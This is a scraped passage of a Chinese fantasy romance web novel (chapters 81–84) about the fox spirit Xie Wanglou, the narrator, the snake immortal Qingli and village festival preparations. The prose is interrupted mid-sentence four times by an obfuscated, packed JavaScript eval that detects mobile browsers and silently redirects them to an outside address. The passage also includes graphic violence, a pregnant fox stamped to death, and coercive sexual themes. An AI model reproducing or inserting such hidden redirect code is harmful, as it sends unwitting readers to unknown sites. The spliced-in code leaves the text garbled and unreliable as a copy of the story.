“哦?不方便?今晚,也未见你身上有污秽啊。” “妾……妾的肚子……” “你肚子怎么了?” 母狐娇羞低吟:“妾有好消息了……” 谢妄楼语气一沉:“什么?!” 母狐娇滴滴地回应: “妾从上个月被王上临幸后开始,就常觉胃口不好,总是腹中反酸,找了精通医理的人参仙把了脉,才知道妾身是有了王上的孩子…… 王上,妾身知道,前面几个姐姐不识好歹,妄想还能逃出狐狸洞,不愿给王上生孩子,惹得王上伤心一百多年。 王上的上古灵狐血脉本就不易孕育子嗣,她们还如此伤害王上的孩子,让王上伤透了心。 王上好不容易等到妾身们心甘情愿服侍王上,黑狐姐姐和蓝姐姐的孩子又没保住。 如今,妾身总算有了王上的子嗣,若这个孩子生下,便是王上的长子,必会继承王上的尊贵血脉。 王上,妾能为王上生儿育女,妾求之不得。 不过,黑狐姐姐和蓝姐姐的孩子没的蹊跷,而且她们两个都是刚没了孩子就疯魔了,至今神智还未恢复清醒。 妾身怀疑,是狐狸洞有叛徒不希望妾身们能为王上诞下后嗣,所以就在暗中对有孕的狐妃们下了黑手。 王上,妾身不想变成疯子,妾身想做您长子的母亲,妾身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170522|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今怀有身孕,王上可要保护好妾身~” 怀了谢妄楼的孩子? 啧啧…… 我还在期待谢妄楼得知自己喜当爹后的激动反应,谁知那家伙竟翻脸比翻书还快的当即就将化成人形的母狐狸搡倒在地,嗓音阴沉的质问道:“你说什么?怀孕?!” 俏美人儿似个断线的风筝,轻盈地摔落在地,一头雾水地迷茫轻唤:“王上,您怎么了?妾怀了你的孩子,你难道不高兴吗?” 屋内的谢妄楼恶狠狠抬高声道:“高兴?一只野狐妖,也配孕育本王的子嗣?” “王上……” “你还不知道吧,前面那两只母狐狸妄想揣着本王的孩子对本王提要求,是本王,亲手打掉了她们的胎!” “为、为什么!” “因为你们血统低贱,因为你们不配!” “王上——” “本王的孩子,只有她……才配为本王孕育。 你们于本王而言,不过玩玩而已。本王还以为,本王从不设狐后,洞中只有狐妃,你们这么聪明,应该知道本王的意思。 没想到,还是蠢得一塌糊涂!本王的正妻,只能是她,本王只会有和她的孩子! 旁人肚子里的小杂种,本王不稀罕!留着,只会成为本王的麻烦!” 屋里的母狐闻言立时害怕了起来,惶恐求饶:“王上、王上求你别、别伤害妾的孩子,王上,放过妾吧!王上,这也是你的亲生骨肉啊!” 奈何话音刚落,屋内就一阵重物撞动桌椅板凳的嘈杂声。 谢妄楼冷血无情的威胁:“你肚子里的杂种,也配称本王的骨肉?” 猛地一脚跺过去。 母狐顿时痛得嘶声惨叫。 “王上、王上饶命啊……王上,妾好疼,王上,求您别踩妾的肚子……” 余下的狐狸们也瑟瑟发抖地给母狐磕头求情: “王上,求王上高抬贵脚,放过琴妹妹吧!” “王上!您别再用力了,你这样会把琴妹妹一起踩死的!” “王上息怒啊,王上——啊!琴妹妹身下见血了!” “王上、我好疼……你别、踩了……求你……啊——” 耳畔狐狸的惨叫激得我浑身发颤,我不自觉揪紧了青漓的衣裳。 青漓体贴抬手,捂住我的双耳。 覆在青漓眼上的手缓缓拿下,我听着母狐撕心裂肺的嚎啕,在青漓怀里缩成一团。 不久,母狐似被谢妄楼的狠毒举动伤透了心,索性强吊着一口气,与谢妄楼撕破脸面,故意用难听话刺激谢妄楼:“谢妄楼!你没有心!你就是个又淫又贱又坏的狐狸!” “你不过是涂山一脉逐出群落的野种罢了,还真以为、自己就是狐族上君之子,真正的狐王了?” “凭你也配肖想尊神?人家上神不过是顺手救了你一条贱命,你连人家正脸都没看见,只看到一个侧脸,便对人家情根深种,意淫人家上千年!” “你还妄想让她给你孕育后嗣,我呸!你算什么东西,一只贱狐狸,吸噬了那么多妖物的修为精气,还生不出九尾,如今只有五尾,你逞什么英雄呢!” “她是神,你是妖,阴苗族的凡人畏惧你称你为灰狐大仙,你还真把自己当成、仙了!” “你只配,在暗中,见不得光的地方肖想她,她要是知道你每晚都用那种恶心的方式臆想她。 她要是知道你和宋、宋花枝上床的时候,满脑子想的都是她……” 第82章 在白月光的庙里与宋花枝厮混 “你猜,她会不会降雷,劈死你?” “谢妄楼你活该、**!” “啊——” 母狐又一声痛苦哀嚎,狐狸们都恐慌地哭泣起来。 “王上,妹妹年纪小不懂事,您放过她吧!” “啊——琴琴的肠子、肠子都被踩出来了……” 濒临死亡的母狐再次虚弱嗤笑:“谢妄楼,你的爱,让人恶心,我诅咒你,终有一日,对人付诸真心,却被最爱的人,亲手、杀死……” “你根本不爱她,你若真爱、爱她……就不会因为、别人的侧脸,八分像她、便……释放淫欲。” “好在、她是……上神,若、不是……” “定要似我们一般,被你、折磨……” “阿娘、琴琴……来找你们……了。” 话音落,狐狸们顿时痛哭一片。 “琴琴!” “王上,琴琴那么爱你,你为什么要这样对她。” “琴妹妹……” 谢妄楼若无其事地振袖转身: “你们都给本王记住了!你们,永远都是本王最**的奴,不该想的不要想,不该要的别要!否则,本王就送你们去见这个**!” 原以为谢妄楼在我面前已经很不是东西了,没想到,在他洞里的那些狐妃跟前,更恶心残酷。 相比之下,他对宋花枝的确顶好了。 毕竟,他连宋花枝公然背叛他独自跑路都能原谅。 为了一个替身,甘愿做绿毛龟。 被他暗恋的那个神…… 真是倒了八辈子血霉! 青漓赶在灰狐穿好衣物出门前,挥袖带我离开了土地庙。 晚上,我处理好桶里的河虾,本打算做个油焖大虾露一手给青漓刷新一下对我的认知的…… 我甚至都已经做好了接受他夸夸厨艺的准备。 结果,最后却成了他给我露一手,刷新我对他的认知了。 他竟会做醉虾! 一条蛇,会做醉虾,这合理吗? 他亲自下厨做菜,我就坐在土锅前给他添火打下手。 望着锅洞里熊熊燃烧的火焰,我双手托腮好奇道:“没想到,谢妄楼那王八蛋的白月光是个神。哪个神仙这么倒霉,被他YY这么多年,知道了得恶心死吧……” 青漓潇洒扬着手中锅铲:“大抵,是个身份挺高的神女。以谢妄楼目前境界还接触不到她,所以只能用这种方式排解相思。” 我抽了抽嘴角,干笑笑:“亵渎神明是大罪吧,确定不会遭雷劈?” 青漓挑眉,“这事发生在别人身上,可能就是多生业障,但发生在他身上,那遭雷劈,迟早的事。” “嗯?细说。”我提起兴趣聚精会神的追问。 他轻车熟路的加调料提鲜: “谢妄楼身上的执念太重,且这股执念已经衍生出邪念了。 神明都是很大度的,自古以来凡人骂了多少次老天爷,也没见老天爷因此劈过谁,真神接受世人对自己的信奉喜爱,也能包容世人对自己的质疑怨恨。 所以一般人觊觎神女美貌,神女大多不会搭理,人活一世,区区几十年。即便臆想,也不过是短暂一生。 下一辈子,一切重头再来,这份执念自然也就消了。 可谢妄楼不同,他一直在神明的雷区跳脚,且他对神明的感情已经不是纯粹的爱了,更多是占有,他的行为,才是真正的亵渎。 他执念如此深,迟早会被发现的,一旦发现,一只妖狐,最多九十九道天雷便将他劈成灰烬了。 话说回来,纵使没被神明发现,他也承受不住最终的果报。” 我托腮想了想,疑惑喃喃:“宋花枝的那张脸在神仙中就那么大众脸吗?又像神娘娘,又像谢妄楼的白月光……” 说到这,我的脑子里突然冒出一个大胆的猜测,立马坐直身问青漓:“谢妄楼的白月光该不会就是神娘娘吧!” 青漓炒菜的手一顿,眸色瞬间黯沉一片:“不可能。” 我有理有据地争辩: “怎么不可能了?那只母狐狸不是说了吗,谢妄楼都没看见人家神仙的正脸,只瞧见了人家的侧脸,而宋花枝的侧脸正好与人家有八分相似。 族里人也说,宋花枝的脸和神娘娘有八分相似呢! 宋花枝侧脸像谢妄楼白月光,正脸像神娘娘,依我看答案只有两个,要么天上的神女们都长得差不多,宋花枝的脸型眉眼正好是神界大众脸。要么,白月光和神娘娘就是一个人! 况且,谢妄楼也赖在九黎山一带好几百年了都没走,神娘娘的信仰只存在于三千里苗域,外面根本没有神娘娘庙…… 思维打开,你说谢妄楼难道就没可能是因为苗域有白月光的庙,才落脚这里不走了么?” “没可能。”青漓冷着脸笃定道:“谢妄楼根本没见过神娘娘。” “你怎么知道没见过,你又不是谢妄楼……” “他还不配见神娘娘。” “这不就符合你刚才说的,以谢妄楼目前境界还接触不到他的白月光那条了吗?”我还是执拗地坚持己见。 青漓放下炒菜的铁铲,不悦皱眉,一句话堵死我:“你会在自己白月光的神庙里,与替身颠鸾倒凤么?” 我霎时哽住。 好吧,是有点道理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170523|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我尴尬咳了咳,麻溜认错:“那是我考虑不周了。” 谢妄楼这个人变态归变态,但从他逼宋花枝穿神袍,还不许相好们怀上自己孩子的事上看,他对白月光应该是还保留着几分、怯意与敬畏…… 他觊觎白月光,又害怕别人戳破他对白月光的肮脏心思,他始终对与白月光在一起抱有期待,哪怕,他自己理智时可能也清楚,他和白月光之间或许横亘着一条一辈子都跨越不过去的天堑。 简单说,他不配觊觎白月光。 但他又害怕自己在外留下血脉,会令白月光不高兴,所以他才给自己定了个不与外面女人生子的底线。 这种男人,说白了表面自以为是高高在上,觉得自己天下第一了不起,整个世界就没有他配不上的女人。 实则骨子里自卑又贪婪。 以为不在外面留种,就不算背叛对白月光的感情。 以他对白月光的感情之深,肯定不敢在白月光的神庙里和别的女人鬼混。 万一被白月光看见了呢…… 不得不承认,死狐狸玩得真花。 我抬头瞧向锅台对面挽袖翻炒大虾的俊美男人…… 一头月华般的皓皓银发如瀑倾泻肩后,身上穿着一袭暗青色竹纹宽袖古袍,分明是身朴素的衣袍,腰间连玉佩都没挂,却被他穿出了不食人间烟火的世外谪仙范儿。 男人肩宽腰窄,腹肌胸肌块块拿得出手。 一米**的身高,一双笔直稳健的大长腿。 这身材,本就是行走的衣架。 穿什么都好看。 古装就是好啊,腰勒得真细…… 深邃上翘的丹凤眼,飞扬入鬓的剑眉,鼻梁高挺,薄唇轻抿。 面如冠玉,棱角清晰。 五官精致的像建模师手下修改千万遍才终于创作出的神作…… 眉心那抹红色印记,妖异中,又携着三分神性。 肤色白皙,完全吼得住这一头漂亮的雪白长发。 往他脑袋后放个大光相,我能当场给他磕两个。 而就是这么一个神性妖性兼具的美男子,如今竟在我家挽袖炒大虾…… 真是让人视觉与精神都得到了满足! 不过,他下厨的样子,真的好有人夫感…… 我呆呆瞧着他,情不自禁地猛吞了几口口水。 他听见动静,好奇昂头,不解地问我:“怎么了?” 我一怔,红着脸赶忙别过头,心猿意马地揉揉鼻子胡说八道:“没、没怎么,我就是闻见虾香了,馋的。” 他愣了愣,目露怀疑,“是么?那你的目光为什么,在本尊脸上?” 第83章 你去把花枝妹妹换回来 “……”我心虚转移话题,催促道:“哎呀,你赶紧干活,我都饿了。认真炒你的虾去!” 他嗯了声。 但片刻后,鼻尖又溢出一丝沉笑。 …… 临近五月十八,村里人都在紧锣密鼓地准备着祈神节上祭神大典的事宜。 按照习俗,过祈神节需要准备红鸡蛋,还得用荷叶包饭团。 有条件的家庭还需宰一头猪,将猪头奉给神明。 待祈神节当日,将猪头放于贡盘,旁边再配上花生核桃等坚果,放上六枚红鸡蛋,将一炷香插在猪头脑袋上,再把贡盘放上祭台的供桌,如此可保家中老少平安,四季顺遂。 没有条件的家庭,则供奉鸡鸭鱼肉便可。 因此每年五月十八,祖祠前都会搬去几十张大红漆方桌,一字排开,供村民们放置贡品,从头至尾足有几百米长,满村皆是肉香及花果香。 阴苗族本族的节日并不多,除了三月三的娘娘节,就只剩下五月十八的祈神节,八月初八的还恩节与腊月二十的洗身节。 其中五月十八的祈神节最为重要。 三月三与八月八、腊月十二的节日都是拜其他本地神明的,而五月十八却拜的是阴苗族最大的祖神西王母。 相传远古时期,西王母带领阴苗族两位大将军及数千族民在外征战,围剿魔族,两位大将军与数千族人跟着西王母一走就是六十年。 后来,便是在五月十八这天顺利回归阴苗族的。 由于两位大将军在战场立了功,所以将军归家之日,是西王母亲自用鸾凤神车送回来的。 也是同日,西王母念及阴苗族子民征剿妖魔有功,阴苗族两位大将军更是在战场上所向披靡,数次深入敌营冒死偷袭,作为奖赏,便赐予了阴苗族长生之术。 可惜,长生术终究还是在岁月的长河中几经波折失传了。 自那时开始,每年五月十八就成了阴苗族最盛大的祈神节。 为了办这个祈神节,不少村民都是提前一个星期就开始准备,连村里的小学都要放三天假。 往年的祈神节都是外婆亲手做饭团,染红鸡蛋。 今年这些事,就全落在我头上了。 幸好李大叔考虑周到,怕我头一年准备祈神节的供礼出差池,特意让银杏来帮我。 一早我就准备好了红染料,一盆生鸡蛋,还有一锅香喷喷的米饭。 米饭里面要加上红枣与葡萄干,还有家里酿的桂花蜜,用荷叶包裹团成团,再放进蒸笼里蒸。 银杏帮忙蒸饭团,我则麻利染好了生鸡蛋。 因着鬼师对神明的供礼不能用肉食,所以我就打算趁着早起天凉快去前头池塘里折点荷花苞回来做荷花酥。 但,今日出门没看黄历,我刚拉开院子大门,就撞见了在我家门口徘徊的赵二。 如果我没猜错,这家伙今天是来找我算账的…… 只是距离那晚宋花枝告我黑状已经过去好几天了,他今天才来谴责我,是不是有点太不将宋花枝放心上了。 两面三刀的渣男陡然瞧见我,做贼心虚地吓得脸一白,紧接着假模假样地凑过来亲近关心我: “鸾妹……你最近还好吗?快到祈神节了,我想、来看看你这里有没有需要我帮忙的地方……” 全然没了先前在宋花枝跟前义愤填膺大放厥词时的嚣张气焰。 我瞬间黑了脸,正要关门回头。 他却又死皮赖脸地伸手一把推住门,着急商量:“鸾妹!鸾妹我今天来,是问我哥的事……鸾妹,你别关门啊!” 他说,要问赵大哥的情况? 我抓着门框停止用力,皱紧眉头没好气道:“想问什么,赶紧问!” 他见我松口,这才舒气放下心,支支吾吾道:“听说、我大哥有孩子了?男孩女孩?” 我冷冷睨他:“你爹妈没和你说?” 赵二尴尬咽口水:“他们、没在我跟前说过,像是刻意在避着我,这个消息还是我起夜路过爸妈门口无意听见他们在被窝里说小话,才知道的。” 看来赵村长两口子智商在线啊,晓得赵二是大祭司家的走狗,故意不告诉赵二他哥的情况。 “男孩女孩,有区别吗?”我随口敷衍了句。 哪成想他却当了真,立即激动道: “当然有区别啊!如果是女孩……那就算了。男孩的话,是必须要带回来养的!爸妈这些年来一直都想要个孙子。 对了,孩子多大了?要是能走能跳的年纪就更好了,过几年,就能帮家里下地干活了。 大哥这一走就是十来年,家里种地的重担全落在我和爸身上了,我爸年纪大了,这几年下地不是胳膊疼就是腰酸。 大哥当年赌气跑了,自己搁外面享清福去了,家里这些活理应是我们兄弟二人平分的……” 这些话我越听越气,不等他说完我就冷声打断:“家里的活理应你们兄弟二人平分,那家里的钱是不是也该你们兄弟两个平分?” 赵二陡然噎住,被我一句话问的面上青一阵红一阵:“鸾妹、你……” 我不讲情面地嗤笑: “你至今还以为,你大哥当年只是赌气,你大哥离家出走孤身在外是在逃避家庭责任、享清福? 好啊,赵二,你现在也可以离家享清福。你现在就走,不带一分钱,不带一口粮。 给你两件换洗衣物,你也去潇洒自在,赵叔和婶子我帮你赡养,但有一条,出去享福了就别回来了!” “我、”赵二被我怼到哑口无言,半张着嘴,良久,才企图狡辩:“鸾妹你误会了,我不是这个意思……” 我沉声道:“反正你死心吧,赵大哥不会回来了。” “可,大哥终究是爸妈的儿子,哪有儿子和父母老死不相往来的……” “那你就把你手里的存款,分给你大哥一半,左右你手里的那些钱,本来就是你父母加上你大哥的血汗钱。 你这些年只是偶尔接点给人修车补锅的活,你家那几块地收成也不是很好,一年除了一家子的生活费,能存个两三千就已经是顶天了。 你母亲给你攒的老婆本,本来就有一半属于你大哥。” 赵二的老脸这会子更加难看了,眼神也憋屈得不行。 我嫌弃地转身不看他,继续吓唬:“正好你哥现在带孩子用钱地方多,都是一家人,你分他一半又何妨。” 赵二低着头,暗暗攥紧双手。 十根手指捏得咯吱咯吱响。 几秒钟后,赵二突然鼓起勇气,抬高嗓音道:“鸾妹,我有话要和你说!” 我内心平静:“讲。” 许是我刚才的话扎疼了赵二,他这会子谴责起我来可谓理直气壮,分毫不留情面: “鸾妹,你知不知道花枝现在过得是什么日子?” 我冷漠反驳:“她爱过什么日子过什么日子。” 赵二总算进了正题,一腔苦口婆心的语气: “灰狐大仙根本不把花枝当人看,花枝现在满身都是伤,灰狐大仙昨晚差点就把花枝掐**!这一切,都是因为你。 鸾妹,花枝好歹是你的姐姐,灰狐大仙他要你,你就去伺候他一晚又能如何!就因为你忤逆灰狐大仙,灰狐大仙现在总往花枝身上撒气。 鸾妹,你就当是为了我们整个月阴村着想,别再反抗灰狐大仙了好不好?” 果然,树不要皮必死无疑,人不要脸天下无敌。 “不好。”我回答得干脆利落。 赵二咬咬牙,一派豁出去了的模样: “鸾妹,从前你只是个普通族人,我就不要求你能心怀慈悲,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176534|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仁大爱了,可现在你是鬼师,你有责任守护整个月阴村阴苗族。 花枝是被你逼的,才不得不去侍奉灰狐大仙,如果不是她,灰狐大仙肯定不会放过我们月阴村,她是在为族人舍生取义。 而你呢,你怎么能因为一己之私,就置我们整个阴苗族于险境!” “道德**?” 我忍无可忍地回头,毅然直视他的双眼,出声挑破: “她到底是因为受不了寂寞主动送上门,现在想甩却甩不掉了,还是真的舍生取义,才和灰狐仙苟合,你自己心里清楚!” “鸾妹……”他不要脸地拉住我手,软下声和我打感情牌:“花枝她和你一母同胞,你们俩可是亲姐妹,她心肠不坏,你相信我!现在灰狐大仙想要你,你就去把花枝换过来吧。” 他说着话,我的余光却留意到赵家婶子、他老妈,此时正黑着脸快步往这边走来…… “花枝她身体弱,经受不住灰狐大仙夜夜这么折磨,我知道,鸾妹你向来心软心善,你身体好,就侍奉灰狐大仙几天,我相信你能撑住,不会出事的。 哦对了,我知道,你肯定是怕村里人的闲言碎语对吧!这样,鸾妹,我向天起誓,只要你答应二哥这一次,等你回来,二哥娶你! 二哥早就说过,不管你还是不是清白之身,只要你愿意,二哥立马带你回去拜堂成亲!” 他佯作一腔深情地认真凝望着我,一字一句,听起来都无比诚恳。 啧,和宋花枝待久了,睁眼说瞎话的本领都变强了! 我恶心地把手抽出来,嫌弃的往身上使劲擦擦,直言不讳地戳破他: “看来枕头风的确厉害,你隔三差五深更半夜把宋花枝带回家,赵村长和婶子知道吗? 她经不起折腾身上全是伤,你是不是全看见了? 那她身上有多少处青紫,你有没有掌灯数一数? 你这算是,在给自己的情人找替死鬼?” 话音落,赵二的臭脸顿时变成了腊肉色,被道破心底的秘密后恼羞成怒冲我吼道: “够了!宋鸾镜,你装什么呢!你都被一条蛇坏了身子了,让你去伺候灰狐大仙又怎么了!花枝说得对,你就是个看着乖顺,实则内心阴狠的毒妇……” 奈何他侮辱性的话还没说完,他老娘就等不及地举起一根竹竿从后狠狠敲了他几棍: “身体弱!” “全是伤!” “心肠不坏!” “还要逼宋鸾镜去换那个破鞋!” “我打死你这个畜生!” 赵家婶子的竹竿如雨点般毫不客气地啪啪打在赵二肩背上,疼得赵二尖叫着直跳脚。 扭头见是自己亲妈,顿时委屈地边跳边不解问道:“妈!怎么是你!妈,你打**什么……疼!” 赵家婶子一如既往的强悍,挥舞着手里竹竿追得赵二满地跑,面目狰狞咬牙切齿地恨恨骂道: “打你干什么?打你都是轻的!早知道你这么不争气,我还不如当年没生你!你还有脸喊疼了!你疼能有我的心里疼吗! 亏我和你爸将你这个幺儿含在嘴里疼,没想到你竟然是个喂不饱的白眼狼!之前和宋鸾镜勾着扯着也就算了,她好歹是个正经姑娘。 现在竟然又和宋花枝不清不楚上了!宋家的两个女儿到底给你灌了什么**汤,轮流着让你神魂颠倒!” “妈!”赵二厚颜无耻地抓住他母亲手里竹竿,“花枝妹妹是圣女,你怎么能这么说她呢!” “我呸!”赵家婶子一口唾沫喷赵二脸上,拧眉讥讽道:“什么圣女,要不是她,你哥一家怎么可能家破人亡!” “妈,你别这么说,你肯定被人骗了,花枝妹妹那么善良,怎么会害大哥,花枝妹妹是在解救大哥!”赵二蹙眉执着道。 第84章 神女应该不会对谢妄楼用这么缺德的法术…… “我看你是被那个宋花枝给迷昏了头!” 赵家婶子瞪了眼站在门内看热闹的我,恨铁不成钢地愤怒扔掉竹竿,一把薅住赵二的耳朵将赵二往小路上拖:“丢人现眼的东西!回去我再和你清算!” 说完,强势地把赵二拽回了家。 银杏听到动静,躲在院子里偷瞄了半晌的热闹,等赵二和赵家婶子走远后才稀奇地探出脑袋感慨道: “村长老婆转性了?她今天竟然夸你是正经姑娘哎!” 我无奈把院门重新关上:“什么叫做夸,我本来就是正经姑娘好不好。” 银杏一本正经地摇头: “不不不,村长他老婆可是村里出了名的刻薄小心眼。 之前你被大祭司污蔑在娘娘庙与野仙通奸,残害同族的时候,村里这群老太太小媳妇里,数她骂你的声音最洪亮! 你忘记了么,先前赵二还稍微有点良心,在你被大祭司绑起来强行送上灰狐大仙花轿那会子,也是村长老婆翻脸无情,拦着村长和赵二不许他们阻拦大祭司…… 要不是她从中搅合,村长大叔那次说不准真能把你救下来!” “她是对我有点偏见。” “何止是偏见啊,她分明就是自私自利! 她一听大祭司说你是**娘娘庙残害同族的人,就恨不得立刻将你挫骨扬灰了。 她怕你给村子带来灾难,更害怕你的存在威胁到她自己的人身安全,就不管什么青红皂白,是非对错,本着宁可错杀绝不漏杀的原则,跟着村里那些人一起对付你。 不过,老话说得好,墙倒众人推,村里也不止她一个人是这样,这月阴村,多的是被私欲蒙蔽双眼的俗人。” 银杏想了想,继续不服气地抱怨: “还有,老祭司才刚走,她们仗着你身边没亲人保护就敢肆无忌惮的对你喊打喊杀,可到了宋花枝头上呢? 终生不嫁、常年保持圣洁之身是假的。以纯洁之躯供养长生泉也是假的。她和大祭司屡次陷害污蔑你,最终的结果,却是把你逼得显现鬼师真身自证清白。 要不是因为鬼师身份特殊,普通族人们不敢轻易得罪,他们肯定还会死咬着你就是族里的祸害这个说法不放。 真正残害同族,**神庙的人是谁,月阴村的这些村民大概都已心知肚明了。 但,就因为宋花枝是圣女,母亲是大祭司,她们别说兴师问罪了,就是在大祭司跟前硬气多问一嘴都不敢! 这段时间,村里人甚至都默契地再也没提过娘娘庙异香的事!这群欺软怕硬、狗眼看人低的家伙,真会见风使舵装聋作哑!” “毕竟,人总会先挑软柿子撒气。 外婆过世了,我已经没有靠山了,他们处理起我来,自然不用考虑旁的。 可宋花枝的母亲又没死,宋花枝还是族中圣女,只要一天没逮个正着,族里这些人哪怕个个都在心里认定了她就是残害同族的凶手,也不能像当初对待我那样,不分信息真假就四处传播。 他们怀疑我、哪怕烧死我,都不会给他们带来任何损失,但怀疑宋花枝是需要付出代价的。 人就是这样,别人对你的态度,取决于你自身的价值。” 我拍拍手,闻见了厨房的饭团香,深吸一口清甜空气,拉上银杏:“饭团蒸好了,去尝尝!” 银杏努了努嘴,看着我欲言又止。 “我家的饭团一早也才刚做好,我过来找你,我爸正好要去集上买老母鸡,你别出门摘荷花了,我给我爸发条信息,让我爸回来顺便从路边小池塘里摘几朵,免得又撞上什么晦气的东西。” “好。我昨天做了肉肠,你回头拎上一串,带回家好摆盘做祈神节贡品,免得邻居们总说李大叔的供礼瞧着寒酸。” “那我就不客气了!他们懂什么,供神主打的是心诚。 虽然我和我爸不是阴苗族的人,但西王母可是道教女神之首,我爸是道门中人,怎么可能在她的祈神节上敷衍。 而且,我家每年准备的供礼只是卖相瞧着不太好…… 实际上可香着呢。我们给西王母献供礼,诚心祈祷的是亲人安康,三千里苗域风调雨顺,才不像阴苗族的这群人,满脑子都是求西王母保佑自己长生不老……” —— 赵二被村长老婆拎着耳朵拽回家后,我好几天都没再见着他。 宋花枝也消失在了我的视野里。 但托青漓的福,宋花枝的瓜我还是每天都能吃到新鲜的。 据青漓和我八卦,宋花枝这几天经常打着给族人祈福的幌子,出入阴苗族其他村落。 但在别的村子里具体做了些什么,青漓并没有一探究竟。 起初青漓还以为她只是在走过祈神节的正常流程,便未曾多加留意。 直到祈神节前夕,青漓亲眼看见她拿着一块完整的少女人皮回家,青漓才意识到,这段时日她是去外面的村子为非作歹了…… 至于她到底扒了谁的人皮,为什么要扒人皮囊,青漓已经派手下小妖去查了。 还有那个遭雷劈的发瘟死狐狸谢妄楼,青漓说他似乎被人下咒了。 他与别的母狐或女人发生关系都不会出事,唯独宋花枝,只要他一接近,不是被雷劈就是不举…… 且青漓还发现了一个规律。 但宋花枝穿上金凰神袍与谢妄楼厮混,谢妄楼都会被一股强大的神力给反噬得五脏俱损,吐血不止。 短短五天,谢妄楼有三回将一身神袍的宋花枝抱入怀中,结果每一回都毫不例外被凭空出现的神力震得半死不活、险些神魂俱散。 谢妄楼在穿神袍的宋花枝床上,还会死活当不成男人。 在被震伤后,哪怕立即将宋花枝踹下床,也得被迫当一夜太监。 更绝的是,随着谢妄楼被神力反噬次数的增加,谢妄楼不行的时间也越来越长。 第一回被神力反噬,谢妄楼只是对宋花枝提不起兴趣,与别的母狐照样可以颠鸾倒凤。 第二回,谢妄楼还想如法炮制用洞里的那些母狐证明自己。 结果……出师未捷身先死…… 第三回,谢妄楼熬了一夜才恢复正常。 第四回,也就是前天晚上。 听说谢妄楼动大怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176535|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一拳头砸塌了土地庙的院墙,红着眼在冰冷夜雨里站了一天一夜。 回头就给自己炖了一锅人参枸杞牛鞭汤…… 青漓曾试图弄清他身上那股凭空出现的反噬之力到底是谁下的,可那股神力之强大,附于谢妄楼体内却能令谢妄楼毫无察觉,以致谢妄楼每次挨重创都一脸蒙圈。 纵使青漓比谢妄楼道行高深,能察觉到它的存在,可,对它的了解也仅限于知道它的力量源自于正神。 至于是哪位神干的,根本查不到头绪。 青漓也猜测过,会不会是谢妄楼的那位白月光感应到了谢妄楼的淫念,这才施法小惩大戒。 但这个猜想很快就被他自个儿给否了。 原因是……他觉得女仙女神、不会用这么缺德的法术…… 哎,我倒是认为,这是青漓对女性神仙的刻板印象。 他肖想人家,人家就让他不举,这怎么算缺德? 明明是合理操作,谁说神女就必须要端庄大气,思想必须被约束了! 再说回宋花枝,先前那一片王母肉芝的确让她走火入魔的神魂好受了些。 但,宋花枝贪得无厌,根本不肯脚踏实地地老实修炼。 不能借与谢妄楼双修,吸噬谢妄楼的灵气迅速恢复修为了,只能又干起了老本行。 私下悄悄和其他野仙苟合。 而她也仗着自己放纵时身上散发的媚香先前被谢妄楼用灵珠设法掩盖了,就与山里那些野仙在娘娘庙折腾的更嚣张了。 赵二来找我替她抱屈的前一天晚上,宋花枝就因与山里的蛇仙在娘娘庙偷情被谢妄楼抓到,险些死在谢妄楼手上…… 谢妄楼为了惩罚她,就解除了她身上的媚香禁制。 这才导致近两日山中时不时有异香传出来,吓得村里男人们用艾草塞住鼻孔,一个个夜里根本不敢出门…… 不过,更让我百思不得解的是。 青漓说,谢妄楼的那颗珠子好像不乐意为他治疗被神力重创的内伤…… 这几天谢妄楼屡屡遭受重创,只顾着躲在土地庙内闭关疗养,没时间出来惹事,我和青漓的耳根子也总算清静了不少。 舒坦的日子更让我相信一个真理—— 谢妄楼真是九黎山一带的一大害啊! 五月十八。 清晨,我拿起白瓷盘里的荷花酥塞进青漓口中。 下意识用一种类似于哄他的语气软声叮嘱他: “我要去参加祭神大典,你去吗?去的话进戒指,我们一起。如果你不想去,就待在家里吃东西,乖乖等我回来。” 说着,我还从口袋里掏出一兜剥好的开心果放他手里:“我昨天看你喜欢吃这个,就给你剥了一点,你先吃,等我回来我再给你剥。还有……” 